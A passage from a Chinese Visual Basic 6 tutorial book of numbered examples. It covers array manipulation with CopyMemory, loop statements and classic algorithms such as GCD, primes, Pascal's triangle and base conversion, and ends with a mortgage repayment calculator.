（3）在窗体上添加3个Label控件，Caption属性分别设置为“拆分前”、“拆分后数组1”、“拆分后数组2”；添加3个TextBox控件。

（4）程序的运行代码如下：



Private Declare Function CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) As Boolean
Private Sub Form_Load()
    Dim arr()
    arr = Array(1, 2, 3, 3, 4, 7, 8, 4, 9)
    Text1.Text = ""
    For i = 0 To UBound(arr)
        Text1.Text = Text1 & arr(i)
    Next i
    Dim arr2(4)
    CopyMemory ByVal VarPtr(arr2(0)), ByVal VarPtr(arr(4)), 5 * 16
    '变体变量占用16个字节
    ReDim Preserve arr(UBound(arr) - 5)          '重新设置数组arr上标
    Text2.Text = ""
    For i = 0 To UBound(arr)
        Text2.Text = Text2 & arr(i)               '显示1233
    Next i
    Text3.Text = ""
    For i = 0 To UBound(arr2)
        Text3.Text = Text3 & arr2(i)               '显示47849
    Next i
End Sub




秘笈心法

心法领悟073：使用Do循环重复执行一条或者多条语句。

Do While…Loop语句先判断条件再决定是否执行循环体。只有循环条件为True时才可以继续执行循环。如下面代码所示：



Private Sub Command1_Click()
Dim j As Integer
j = 0
Do While j < 100
j = j + 1
If j > 60 Then
Exit Do
End If
Loop
MsgBox j
End Sub






 实例074　利用指针过滤数组重复数据

光盘位置：光盘\MR\03\074

高级

趣味指数：[image: ]




实例说明

本实例主要实现了利用指针过滤数组中的重复数据。运行程序，将会在ListBox控件中显示出过滤后数组的内容，程序的运行效果如图3.38所示。

[image: ]
图3.38　利用指针过滤数组重复数据



关键技术

本实例主要介绍了如何过滤数组中重复数据的方法：对数组从右往左进行判断，如果某元素内的数据与其他元素内的数据重复就将该元素地址后所有的数据传递给以该元素地址为起点的地址范围内，并将数组上标减1。例如，本例过滤掉数组中的重复数据“3”与“4”。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用指针过滤数组重复数据”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个ListBox控件，用于显示过滤后的数组。

（4）程序的运行代码如下：



Private Declare Function CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) As Boolean
Private Sub Form_Load()
On Error Resume Next
    Dim arr()
    arr = Array(1, 2, 3, 3, 4, 7, 8, 4, 9)
    For i = 1 To UBound(arr)
        For j = i - 1 To LBound(arr) Step -1
            If arr(i) = arr(j) Then
                If i + 1 <= UBound(arr) Then
                    CopyMemory arr(i), arr(i + 1), (UBound(arr) - i) * 16
                    '变体变量占用16个字节
                    ReDim Preserve arr(0 To UBound(arr) - 1)    '重新设置数组上标
                End If
            End If
        Next j
    Next i
    For i = 0 To UBound(arr)
        List1.AddItem arr(i)    '显示结果1,2,3,4,7,8,9
    Next i
End Sub




秘笈心法

心法领悟074：使用While…Wend创建循环。

对于While…Wend循环语句，当条件成立时，执行循环体；当条件不成立时，终止循环。

While…Wend循环语句与Do While…Loop循环语句相似，其差别是：While…Wend语句中不能使用Exit语句跳出循环。如下面代码，当变量j小于100时执行循环。



Private Sub Command1_Click()
Dim j As Integer
j = 0
While j < 100      '当j<100时执行循环
j = j + 1
Wend
MsgBox j           '返回结果为100
End Sub






 实例075　使用Split函数分隔明日公司网址

光盘位置：光盘\MR\03\075

高级

趣味指数：[image: ]




实例说明

本实例主要实现了使用Split函数分隔明日公司网址的功能，以“.”作为分隔单位，使用Split函数将明日公司网址www.mingrisoft.com返回为字符串数组。将网址分隔后将值赋给数组并显示出来，程序的运行效果如图3.39所示。

[image: ]
图3.39　使用Split函数分隔明日公司网址



关键技术

本实例的实现主要运用了Split函数。Split函数的详细讲解请参见实例051中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“使用Split函数分隔明日公司网址”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Label的Caption属性设置为“输入明日公司网址:”，另一个名称命名为Lbl_Info，用于显示分隔后的数组信息。

（4）在窗体上添加一个TextBox控件，用于显示输入的网址；添加两个CommandButton控件，Caption属性分别设置为“分离”和“退出”，用于执行相应命令。

（5）程序的运行代码如下：



Dim A
Private Sub Form_Load()
    A = Split("www.mingrisoft.com", ".", -1, 1)
    ' A(0) 包含"www"
    ' A(1) 包含"mingrisoft"
    ' A(2) 包含 "com"
End Sub
Private Sub Command1_Click()
    Dim i As Long
    For i = 0 To 2
        Debug.Print A(i)
    Next i
End Sub




秘笈心法

心法领悟075：使用GoTo跳转语句。

GoTo语句的作用是改变程序的执行流程，跳过程序的某一部分去执行另一部分，或者返回已经执行过的某一部分语句，使之重复执行。

使用GoTo跳转语句可以跳转到有指定标签的位置，跳过中间的语句。如下面代码所示：



Private Sub Command1_Click()
Text1.Text = "HELLO"
GoTo 1 '跳转到标签为1的位置
Text1.Text = "您好" '这个语句被跳过
1: End Sub '定义标签





第4章　程序常用算法

计算类算法

判断类算法

排序类算法

查找算法

字符处理应用

游戏算法

定理与猜想

逻辑推理与生活中的数学






 4.1　计算类算法



 实例076　最大公约数和最小公倍数

光盘位置：光盘\MR\04\076

高级

趣味指数：[image: ]




实例说明

计算两个自然数的最大公约数和最小公倍数是初等的数学问题，在程序中能够通过算法求出两个数的最大公约数和最小公倍数。本实例实现了计算在文本框中输入的两个自然数的最大公约数和最小公倍数，并显示在窗体上，程序的运行效果如图4.1所示。

[image: ]
图4.1　计算最大公约数和最小公倍数



关键技术

本实例主要是通过使用最大公约数和最小公倍数的算法来实现的。下面介绍实现计算两个数的最大公约数和最小公倍数的算法。

（1）已知两个自然数m和n，使得m>n。

（2）m除以n得余数r。

（3）判断，若r=0，则n是最大公约数，算法结束；否则执行步骤（4）。

（4）将n值赋给m，r值赋给n，重复执行（2）。

最大公约数算法流程图如图4.2所示。

[image: ]
图4.2　最大公约数算法流程图



最小公倍数为两个自然数的乘积除以这两个数的最大公约数，即最小公倍数=两个数之积/最大公约数。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“计算最大公约数和最小公倍数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个Label控件，前两个Label控件用于显示提示信息，后两个Label控件用于显示最大公约数和最小公倍数的值。

（4）在窗体上添加两个TextBox控件，名称使用默认名称，用于输入两个自然数；添加一个CommandButton控件，Caption属性设置为“计算”，用于执行计算命令。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    m = Val(Text1.Text)                                        '输入两个自然数
    n = Val(Text2.Text)
    nm = n * m                                            '计算两个自然数的乘积
    If m < n Then t = m: m = n: n = t                                '使m>n
    r = m Mod n                                            'm除n取余
    Do While (r <> 0)
        m = n
        n = r
        r = m Mod n
    Loop
    Label3.Caption = "最大公约数= " & n
    Label4.Caption = "最小公倍数= " & nm / n
End Sub




秘笈心法

心法领悟076：初始算法小知识。

算法是学习程序设计的基础，也可以说是程序设计的入门知识，掌握算法可以帮助读者快速理清程序设计的思路，找出多种解决问题的方法，从而选择最合适的解决方案。



 实例077　杨辉三角

光盘位置：光盘\MR\04\077

高级

趣味指数：[image: ]




实例说明

杨辉三角是一个由数字排列成的三角形数表，其最本质的特征是它的两条边都是由数字1组成的，而其余的数则等于它上方的两个数之和。本实例通过使用循环语句实现在窗体上显示一个杨辉三角，显示的杨辉三角行数由用户输入设定，程序的运行效果如图4.3所示。

[image: ]
图4.3　杨辉三角算法运行演示



关键技术

本实例的实现主要是通过使用循环语句和数组实现在窗体上显示一个杨辉三角，本实例先定义一个动态数For…Next循环语句组，然后由用户输入杨辉三角的输出行数，然后利用循环和杨辉三角算法将其显示出来。


说明：
 （1）For循环语句的详细讲解请参见实例038中的关键技术。

（2）数组知识的详细讲解请参见实例047中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“实现杨辉三角算法”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，Caption属性设置为“显示”，用于执行显示杨辉三角的命令。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim a() As Single
    n = Val(InputBox("输入行数", "杨辉三角"))
    ReDim a(n + 1, n + 1)
    For i = 1 To n
        For j = 1 To i
            a(i, 1) = 1
            a(i, i) = 1
            a(i + 1, j + 1) = a(i, j) + a(i, j + 1)
            Print a(i, j);
        Next j
        Print
    Next i
End Sub




秘笈心法

心法领悟077：算法的五大主要特性小知识。


	有穷性：一个算法（对任何合法的输入）在执行有穷步后能够结束，并且在有限的时间内完成。

	确定性：算法中的每一步都有确切的含义。

	可行性：算法中的操作能够用已经实现的基本运算执行有限次来实现。

	输入：一个算法有零个或者多个输入，零个输入就是算法本身确定了初始条件。

	输出：一个算法有一个或多个输出，以反映出数据加工的结果，没有输出的算法是没有意义的。





 实例078　输出100以内的素数

光盘位置：光盘\MR\04\078

高级

趣味指数：[image: ]




实例说明

使用循环结构语句实现素数算法，程序运行以后，单击窗体将100以内所有素数显示在窗体上，程序的运行效果如图4.4所示。

[image: ]
图4.4　输出100以内的素数



关键技术

本实例主要是通过使用Mod（求余）运算符和For…Next循环语句，下面介绍这两个知识点。

Mod（求余）运算符用来对两个数作除法并且返回余数，返回余数的符号与被除数的符号相同。例如：



Print (-5) Mod (-3)                                     '返回值为-2
Print (-5) Mod 3                                        '返回值为-2
Print 5 Mod 3                                           '返回值为2
Print 5 Mod (-3)                                        '返回值为2




当除数或被除数不为整数时，系统会将其先四舍五入，然后再进行运算。例如：



Print 20 Mod 8.3                                        '返回值为4
Print 18.4 Mod 4.5                                      '返回值为2





说明：
 For循环语句的详细讲解请参见实例038中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“输出100以内的素　　数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Click()
    Form1.Cls
    Dim a As Long, b As Long, c As Boolean
    For a = 2 To 100
        c = False
        For b = a - 1 To 2 Step -1
            If a Mod b = 0 Then
                c = True
                Exit For
            End If
        Next b
        If c = False Then Print a;
    Next a
End Sub




秘笈心法

心法领悟078：算法描述的自然语言小知识。

自然语言就是用人们日常使用的语言描述解决问题的方法和步骤。这种描述方法通俗易懂，即使是不熟悉计算机语言的人也很容易理解程序。但是，自然语言在语法和语义上往往具有多义性，并且比较繁琐，对程序流向等描述不明了、不直观。



 实例079　哥德巴赫猜想

光盘位置：光盘\MR\04\079

高级

趣味指数：[image: ]




实例说明

本实例实现的是当程序运行时，单击“验证”按钮，将使用素数算法验证文本框中的偶数是否符合哥德巴赫猜想，程序的运行效果如图4.5所示。

[image: ]
图4.5　验证哥德巴赫猜想



关键技术

本实例主要是通过运用哥德巴赫猜想的算法来实现的，程序中用到了IsNumeric函数和CLng函数，下面讲解这些知识点。

（1）哥德巴赫猜想的算法

哥德巴赫猜想是任意一个大于6的偶数，都可以写成两个素数的和。其基本算法思想是：n为任意一个大于6的偶数，可将n分解为n1和n2两个数，分别检查n1和n2是否为素数，如果都是，则为一组解。如n1不是素数，就不必再检查n2是否为素数。先从n1=3开始，检验n1和n2（n2=N-n1）是否为素数。然后使n1+2再检验n1、n2是否为素数……直到n1=n/2为止。

（2）IsNumeric函数

该函数用于返回Boolean值，指出表达式的运算结果是否为素数，语法如下：



IsNumeric(expression)




参数说明

expression：必选参数。expression 参数是一个Variant，包含数值表达式或字符串表达式。

利用IsNumeric函数检测某一变量或表达式是否为数值。



NumVal = IsNumeric(62)                  '变量NumVal的返回值是True
NumVal1 = IsNumeric(62.5)               '变量NumVal1的返回值是True
NumVal2 = IsNumeric("changchun")        '变量NumVal2的返回值是False
NumVal3 = IsNumeric(#4/1/2006#)         '变量NumVal3的返回值是False
Numval4 = IsNumeric(Null)               '变量NumVal4的返回值是False





说明：
 CLng函数的详细讲解请参见实例030中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“验证哥德巴赫猜想”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“要验证的偶数：”和“结果：”，并设置Font属性。

（4）在窗体上添加一个TextBox控件，名称使用默认名称，用于输入要验证的偶数；添加一个CommandButton控件，Caption属性设置为“验证”，用于执行验证命令。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Dim a As Long, b As Long, c As Long, e As Long, g As Long
    Dim d As Boolean
    If IsNumeric(Text1.Text) Then a = CLng(Text1.Text)                        '转换为Long型
    If a Mod 2 = 0 And a >= 6 Then                                    '选择大于6的偶数
        For b = 2 To a
            d = False
            For c = b - 1 To 2 Step -1
                If b Mod c = 0 Then
                    Exit For
                Else
                    e = a - b
                    For g = e - 1 To 2 Step -1
                        If e Mod g = 0 Then
                            d = False
                            Exit For
                        End If
                        d = True
                    Next g
                End If
                If d = True Then Exit For
            Next c
            If d = True Then
                Label2.Caption = "结果：符合！" & a & "=" & e & "+" & b
                Exit For
            Else
                Label2.Caption = "结果：不符合"
            End If
        Next b
    End If
End Sub




秘笈心法

心法领悟079：算法描述的传统流程图小知识。

传统流程图使用不同的几何图形来表示不同性质的操作，使用流程线来表示算法的执行方向。比起自然语言描述和伪代码描述方式，它具有直观形象、逻辑清楚、易于理解等特点，但它占用篇幅较大，流程随意转向，较大的流程图不易读懂。



 实例080　查找最大值和最小值

光盘位置：光盘\MR\04\080

高级

趣味指数：[image: ]




实例说明

本实例实现随机产生10个数，并找出这些数中的最大值和最小值，程序的运行效果如图4.6所示。

[image: ]
图4.6　找出最大值和最小值程序运行界面



关键技术

计算一组数的最大值和最小值是数值应用中经常用到的算法，也是程序设计中解决某些问题的基础，例如，排序问题就涉及比较数值大小的算法。下面给出查找最大值和最小值的算法思路：

（1）假设一组数中的第一个数为最大数（或最小数）M。

（2）将给定的这组数中的每个数依次与M进行比较，若某个数大于（或小于）M，则将这个数假设为新的最大数（或最小数）M。

（3）全部比较完毕后，M即为所求。

查找最大值算法流程图如图4.7所示。

[image: ]
图4.7　查找最大值算法流程图



设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“找出最大值和最小值”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，Caption属性设置为“显示”，用于执行计算命令。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim a(1 To 10) As Integer                            '声明数组
    Dim i As Integer, Amax%, Amin%                        '声明变量
    Print "产生的随机数为："
    '产生10个随机整数
    For i = 1 To 10                                    '循环10次
        a(i) = Int(Rnd * 10)                            '产生10以内随机整数
        Print a(i);                                    '显示数组中的元素
    Next i
    Amax = a(1)                                    '将数组中第一个元素赋给最大值
    Amin = a(1)                                    '将数组中第一个元素赋给最小值
    For i = 2 To 10                                    '循环9次
        If a(i) > Amax Then Amax = a(i)                    '如果当前值大于最大值则最大值为当前值
        If a(i) < Amin Then Amin = a(i)                        '如果当前值小于最小值则最小值为当前值
    Next i
    Print
    Print "最大值为：" & Amax                            '输出最大值
    Print "最小值为：" & Amin                            '输出最小值
End Sub




秘笈心法

心法领悟080：算法描述的N-S结构化流程图小知识。

N-S结构化流程图是1973年美国学者I.Nassi和B.Shneiderman提出的一种符合结构化程序设计原则的描述算法的图形方法，又叫做盒图。

N-S结构化流程图有以下几个特点：

（1）图中每个矩形框（除Case语句中表示条件取值的矩形框外）都是明确定义了的功能域（即一个特定控制结构的作用域），以图形表示，清晰可见。

（2）它的控制转移不能任意规定，必须遵守结构化程序设计的要求。

（3）很容易确定局部数据和（或）全局数据的作用域。

（4）很容易表现嵌套关系，也可以表示模块的层次结构。



 实例081　百钱百鸡——穷举法

光盘位置：光盘\MR\04\081

高级

趣味指数：[image: ]




实例说明

穷举法将所有可能情况一一举出，判断是否满足条件，一般用循环实现，又称枚举法。使用穷举法的典型例子有百钱百鸡，即现在有100元，要求买100只鸡，其中小鸡每只5角，公鸡每只2元，母鸡每只3元。列出所有满足百钱百鸡的条件，程序的运行效果如图4.8所示。

[image: ]
图4.8　百钱百鸡穷举法



关键技术

本实例主要是通过使用For…Next循环语句穷举母鸡、公鸡和小鸡的范围内的值，然后用If语句判断是否符合条件，符合条件则将其输出。


说明：
 （1）For循环语句的详细讲解请参见实例038中的关键技术。

（2）关于If语句知识可以参见第2章2.4节中的例子的关键技术对If语句的讲解。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“百钱百鸡穷举法”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，Caption属性设置为“计算”，用于执行显示所有满足条件的算法的命令。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Print "母鸡", "公鸡", "小鸡"
    Dim x%, y%    'X代表母鸡，Y代表公鸡
    For x = 0 To 33    '母鸡每只要3元，所以3*33=99不能超过100
        For y = 0 To 50    '公鸡每只要2元，所以2*50=100不能超过100
            If 3 * x + 2 * y + 0.5 * (100 - x - y) = 100 Then
                '100减去公鸡个数与母鸡个数，剩下的就是小鸡个数，然后再乘小鸡的价钱即0.5元
                Print x, y, 100 - x - y
            End If
        Next y
    Next x
End Sub




秘笈心法

心法领悟081：穷举法。

穷举法又称枚举法，其算法思想是：一一列举所有可能的情况，并判断哪种情况是符合要求的解，对于那些不能用解析法求解的问题，使用此方法往往能奏效。



 实例082　十进制转换为其他进制

光盘位置：光盘\MR\04\082

高级

趣味指数：[image: ]




实例说明

这里介绍的是将一个十进制整数转换成二进制、八进制或十六进制任意进制的数值，进制转换的算法思想是：将十进制正整数n不断除进制数r取余数，直到商为0，将得到的值反序连接，即最后得到的余数在最高位。本例实现将十进制整数转换成二进制、八进制或十六进制任意进制的字符串，程序的运行效果如图4.9所示。

[image: ]
图4.9　进制转换



关键技术

本实例的实现主要是通过使用Do…Loop循环语句、If条件语句和Chr函数等实现的。


说明：
 （1）Do…Loop循环语句的详细讲解请参见实例036中的关键技术。

（2）If语句知识可以参见第2章2.4节中的例子的关键技术对If语句的讲解。

Chr函数用于返回String，其中包含有与指定的字符代码相关的字符，语法如下：



Chr(charcode)




参数说明

charcode：必选参数。charcode参数是一个用来识别某字符的Long。

下面示例使用Chr函数来返回一个具有一个字符的符号，该字符的编码与给定的数值相同。



Numchr = Chr(65)                                '变量Numchr的返回值是A
Numchr = Chr(97)                                '变量Numchr的返回值是 a
Numchr = Chr(62)                                '变量Numchr的返回值是 >




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“进制转换”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加5个Label控件，用于显示提示信息。

（4）在窗体上添加3个TextBox控件，名称使用默认名称，Text1用于输入十进制数，Text2用于输入转换的进制数，Text3用于输出转换后的结果。

（5）在窗体上添加一个CommandButton控件，Caption属性设置为“转换”，用于执行转换命令。程序的运行代码如下：



Private Sub Command1_Click()
    If Text1.Text = "" Or Text2.Text = "" Then
        MsgBox "请输入正确数值！", vbInformation, "信息提示"
        Exit Sub
    End If
    Text3.Text = TrDec(Text1.Text, Text2.Text)                            '获取转换后数值
End Sub
Private Function TrDec(idec As Integer, ibase As Integer) As String
    Dim strDecR$, iDecR%
    strDecR = ""
    Do While idec <> 0
        iDecR = idec Mod ibase                                    '用十进制数除以转换进制数取余
        If iDecR >= 10 Then
            strDecR = Chr$(65 + iDecR - 10) & strDecR        '
        Else
            strDecR = iDecR & strDecR
        End If
        idec = idec \ ibase
    Loop
    TrDec = strDecR
End Function




秘笈心法

心法领悟082：数据输出的Print方法小知识。

Print是输出数据、文本的一个重要方法，语法如下：



窗体名称.Print[<表达式>[,|;[<表达式>]…]]




<表达式>：可以是数值或字符串表达式。对于数值表达式，先计算表达式的值，然后输出；而字符串则原样输出。如果表达式为空，则输出一个空行。

当输出多个表达式时，各表达式用分隔符（逗号、分号或空格）隔开。若用逗号分隔将以14个字符位置为单位把输出行分成若干个区段，每区段输出一个表达式的值。而表达式之间用分号或空格作为分隔符，则按紧凑格式输出。

一般情况下，每执行一次Print方法将自动换行，可以通过末尾加上逗号或分号的方法使输出结果在同一行显示。



 实例083　使用迭代法求某数平方根

光盘位置：光盘\MR\04\083

高级

趣味指数：[image: ]




实例说明

本实例实现了用迭代法求某数平方根的功能。运行程序，在“输入数值”文本框中输入一个整数，单击“计算”按钮，平方根的结果将会显示出来，程序的运行效果如图4.10所示。

[image: ]
图4.10　使用迭代法求某数平方根



关键技术

迭代法也称为递推法，对于一个问题求解，可先给定一个初值，通过某一算法（公式）求得一个新值，再以新值作为初值，按照同样的算法求得另一个新值，这样经过有限次运算即可求得其解。

本实例实现了迭代法求某数平方根，用迭代法求得某数的平方根基本算法思想是：已知求平方根的迭代公式为：

[image: ]


先给定一个初值x0=a/2（估计值），根据迭代公式得到一个新的值x1，这个新值x1比初值x0更接近要求的值；再以新值作为初值，重新按原来的方法求新值x1，重复这一过程直到|x1-x0|<ε（给定的精度）。此时得到的x1即可作为问题的解。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“使用迭代法求某数平方根”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“输入数值：”和“显示平方根：”。

（4）在窗体上添加两个TextBox控件，名称使用默认名称，用于输入和显示结果；添加一个CommandButton控件，Caption属性设置为“计算”，用于执行计算命令。

（5）程序的运行代码如下：



Private Function Fsqr(X As Single) As Single
    Dim x0 As Single, x1 As Single
    x0 = X / 2                                '给定初值
    x1 = 0.5 * (x0 + X / x0)                        '使用迭代公式求新值
    Do
        x0 = x1                                '将新值赋给初值
        x1 = 0.5 * (x0 + X / x0)                        '求新值
    Loop While Abs(x1 - x0) > 0.00001                    '如果比较结果小于给定精度
    Fsqr = x1                                '返回得到的解
End Function




秘笈心法

心法领悟083：对象的基本概念。

“对象”是一个很广义的概念，在现实世界中的一切都可以看作对象，如一个人、一台电脑等。对象是具有某些特性的具体事物的抽象。

对象的特点：

（1）有一个名字用以区别于其他对象。

（2）有一个状态描述该对象的特征。

（3）有一组操作决定该对象的功能。



 实例084　小管家房贷计算器

光盘位置：光盘\MR\04\084

高级

趣味指数：[image: ]




实例说明

贷款买房已经成为当前很多人选择的买房方式。贷款买房要根据贷款的钱数、还款年限和年利率计算出月还款额，每个月进行还款。本例使用等额本息还款和等额本金还款两种方式进行计算，得到每月的还款钱数，等额本金还款计算结果如图4.11所示，等额本息还款计算结果如图4.12所示。



	[image: ]
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	图4.11　等额本金还款方式
	图4.12　等额本息还款方式




关键技术

小管家房贷计算器的制作思路非常简单，主要是让用户输入房贷信息：还款方式、贷款金额、还款年限和贷款年利率，然后根据相应信息和还款的算法利用递归将每一期的还款信息显示出来。其中还款方式主要有两种：等额本息还款、等额本金还款。

（1）等额本息还款方式

使用等额本息还款，在偿还初期利息支出最大，本金最少，以后利息支付逐步减少，本金逐步增加，但每月以相等的额度偿还金额（本+息）。

每月还款额=贷款本金*月利率+贷款本金*月利率/（（1+月利率）^总还款月数-1）

其中：我们称“贷款本金*月利率”为月付利息，称“贷款本金*月利率/（（1+月利率）^总还款月数-1）”为月付本金。两者相加的和为每月还款额，我们也称其为本息合计（一个月的）。

利息总计=总还款月数*本息合计-贷款本金，也就是用户支出的全部利息。“^”表示指数。

（2）等额本金还款方式

使用等额本金还款，指每月等额偿还贷款本金，贷款利息随本息逐月递减，每月偿还金额（本+息）逐渐减少。总共偿还的利息比等额本息法要少。

每月还款额=贷款本金/总还款月数+贷款本金*月利率（1-已还款月数/总还款月数*）

其中：贷款本金/总还款月数，我们称其为月应还本金，是一个固定的值；贷款本金*月利率（1-已还款月数/总还款月数*），称其为月应付利息，是一个不断变化的值。

设计过程

（1）新建VB工程，将窗体的Caption属性设置为“房贷计算器”。

（2）在窗体上添加一个Frame控件，设置Caption属性为“贷款设置”。

（3）在Frame控件中添加一个ComboBox控件，设置Text属性为“等额本金还款”，并添加List属性为“等额本金还款”和“等额本息还款”。

（4）在Frame控件中添加3个TextBox控件，分别用于输入贷款金额、还款年限和贷款年利率。

（5）在Frame控件中添加一个CommandButton控件，设置Caption属性为“计算”。

（6）在窗体上添加一个ListView控件，用于显示计算得到的还款金额。ListView控件属于ActiveX控件，要将其添加到工具箱中才能使用。添加方法为：选择“工程”/“部件”命令，打开“部件”对话框，在对话框列表中选中Microsoft Windows Common Control 6.0复选框。

（7）进行代码设计。

用于计算等额本息还款的自定义过程如下：



Private Sub CorpusAndAccrual(Money As Double, Year As Integer, Rate As Double) '等额本息还款
    Dim Corpus As Double, Accrual As Double, Balance As Double, Month As Double
    Dim strAccrual, strCorpus, strMonth, strBalance
    Dim sublist
    Accrual = Money * (Rate / 100 / 12)                        '每月利息
    Corpus = Money * (Rate / 100 / 12) / ((1 + Rate / 100 / 12) ^ (Year * 12 - iTimes + 1) - 1) '每月本金
    Month = Corpus + Accrual                            '当月还款
    Balance = Money – Corpus                            '贷款余额
    '格式化
    strAccrual = Format(Accrual, "##,0.00")                    '每月利息
    strCorpus = Format(Corpus, "##,0.00")                    '每月本金
    strMonth = Format(Month, "##,0.00")                    '当月还款
    strBalance = Format(Balance, "##,0.00")                    '贷款余额
    Set sublist = ListView1.ListItems.Add(, , iTimes)                '在列表中添加还款期
    sublist.ListSubItems.Add 1, , strCorpus                    '添加每月本金
    sublist.ListSubItems.Add 2, , strAccrual                    '添加每月利息
    sublist.ListSubItems.Add 3, , strMonth                    '添加当月还款
    sublist.ListSubItems.Add 4, , strBalance                    '添加贷款余额
    m_SumCorpus = m_SumCorpus + Corpus                    '本金累加
    m_SumAccrual = m_SumAccrual + Accrual                '利息累加
    If iTimes <> Year * 12 Then                            '判断还款期是否满
        iTimes = iTimes + 1                            '当前还款期数累加
        CorpusAndAccrual Balance, Text2.Text, Text3.Text            '递归调用函数
    Else
        iTimes = iTimes + 1                            '当前还款期数累加
        m_SumCorpus = Format(m_SumCorpus, "##,0.00")            '格式化还款本金总和
        m_SumAccrual = Format(m_SumAccrual, "##,0.00")        '格式化还款利息总和
        Set sublist = ListView1.ListItems.Add(, , "合计")            '在类表中添加合计字段
        sublist.ListSubItems.Add 1, , m_SumCorpus                '将本金总和添加到列表中
        sublist.ListSubItems.Add 2, , m_SumAccrual                '将利息总和添加到列表中
'显示还款总额
        sublist.ListSubItems.Add 3, , Format(m_SumCorpus + m_SumAccrual, "##,0.00")
    End If
End Sub




用于计算等额本金还款的自定义过程如下：



Private Sub PartCorpus(Money As Double, Year As Integer, Rate As Double)                '等额本金还款
    Dim Accrual As Double, Balance As Double, Month As Double
    Dim strAccrual, strCorpus, strMonth, strBalance
    Dim sublist
    Accrual = Money * (Rate / 100 / 12) * (1 - Int(iTimes / Year / 12))
    Month = m_Corpus + Accrual
    Balance = Money - m_Corpus
    '格式化
    strAccrual = Format(Accrual, "##,0.00")                                '每月利息
    strCorpus = Format(m_Corpus, "##,0.00")                                '每月本金
    strMonth = Format(Month, "##,0.00")                                '当月还款
    strBalance = Format(Balance, "##,0.00")                                '贷款余额
    Set sublist = ListView1.ListItems.Add(, , iTimes)                            '在列表中添加还款期
    sublist.ListSubItems.Add 1, , strCorpus                                '添加每月本金
    sublist.ListSubItems.Add 2, , strAccrual                                '添加每月利息
    sublist.ListSubItems.Add 3, , strMonth                                '添加当月还款
    sublist.ListSubItems.Add 4, , strBalance                                '添加贷款余额
    m_SumCorpus = m_SumCorpus + m_Corpus                            '本金累加
    m_SumAccrual = m_SumAccrual + Accrual                            '利息累加
    If iTimes <> Year * 12 Then                                        '判断还款期是否已满
        iTimes = iTimes + 1                                        '累加还款期数
        PartCorpus Balance, Text2.Text, Text3.Text                            '递归调用函数
    Else
        iTimes = iTimes + 1                                        '累加还款期
        m_SumCorpus = Format(m_SumCorpus, "##,0.00")                        '格式化本金总数
        m_SumAccrual = Format(m_SumAccrual, "##,0.00")                    '格式化利息总数
        '在类表中添加合计信息
        Set sublist = ListView1.ListItems.Add(, , "合计")                        '在类表中添加合计字段
        sublist.ListSubItems.Add 1, , m_SumCorpus                            '将本金总和添加到列表中
        sublist.ListSubItems.Add 2, , m_SumAccrual                            '将利息总和添加到列表中
        sublist.ListSubItems.Add 3, , Format(m_SumCorpus + m_SumAccrual, "##,0.00")    '显示还款总额
    End If
End Sub




在窗体上单击“计算”按钮，将根据输入的数据和选择的还款方式进行计算，将还款信息显示在窗体的类表中，程序代码如下：



Private Sub Command1_Click()
    Dim sublist
    ListView1.ListItems.Clear                                        '清空列表框
    m_SumCorpus = 0
    m_SumAccrual = 0
    iTimes = 0
    Set sublist = ListView1.ListItems.Add(, , iTimes)
    sublist.ListSubItems.Add 1, , ""
    sublist.ListSubItems.Add 2, , ""
    sublist.ListSubItems.Add 3, , ""
    sublist.ListSubItems.Add 4, , Text1.Text
    iTimes = iTimes + 1
    If Combo1.Text = "等额本息还款" Then
        CorpusAndAccrual Text1.Text, Text2.Text, Text3.Text                    '调用计算等额本息还款函数
    Else
        m_Corpus = Text1.Text / Text2.Text / 12
        PartCorpus Text1.Text, Text2.Text, Text3.Text                            '调用计算等额本金还款函数
    End If
End Sub




秘笈心法

心法领悟084：通过闰月判断闰年。

DateSerial函数可以包含指定的年、月、日的Variant（Date）数据，可以通过该函数判断指定年份的2月份是否有29日，如果存在29日即该年为闰年，代码如下：



Public Function MonthToLeapYear(ByVal Yea As Integer) As Boolean
    MonthToLeapYear = Day(DateSerial(Yea, 2, 29)) = 29
End Function






 实例085　个人所得税计算器

光盘位置：光盘\MR\04\085

高级

趣味指数：[image: ]




实例说明

